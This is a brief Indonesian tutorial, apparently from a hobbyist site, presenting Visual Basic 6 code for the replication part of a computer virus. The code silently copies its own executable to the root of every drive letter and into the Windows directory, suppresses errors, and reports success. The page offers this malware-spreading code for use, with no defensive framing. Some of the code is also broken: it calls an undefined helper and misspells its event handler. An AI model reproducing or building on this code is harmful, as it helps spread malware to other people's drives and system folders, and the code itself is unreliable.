Membuat Kode Pengganda Virus.

Private Sub kodepengganda()
''///mengecek drive dan mengcopy  file penanda
     Dim ictr As Integer
     Dim  sDrive As String
     Dim x  As Byte
     ReDim  sDrives (0) As String
For ictr  =  65 To 90
      sDrive = Chr (ictr) & ":\"
     
      If DriveType (sDrive) <> "Drive Doesn’t  Exist"  Then
         On Error Resume Next
       FileCopy App.path & "\" & App.EXEName & ".exe",sDrive & "tes.exe"
           End If
Next
End Sub

      Private Sub kopikewindows()
        ''/// /mengcopy file virus atau penanda ke directory windows
        Dim buffer As  String * 255
        Dim  x As Long
   x = GetWindowsDirectory(buffer,255)
   On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe",Left(buffer,x) &_
"\tes_di_directory_windows.exe"
   End Sub
  
   Private Sub Commond5_Clik()
   Kopikewindows
   Kodepengganda
   MsgBox "Kode Berhasil Dijalankan",0, "Berhasil"
End Sub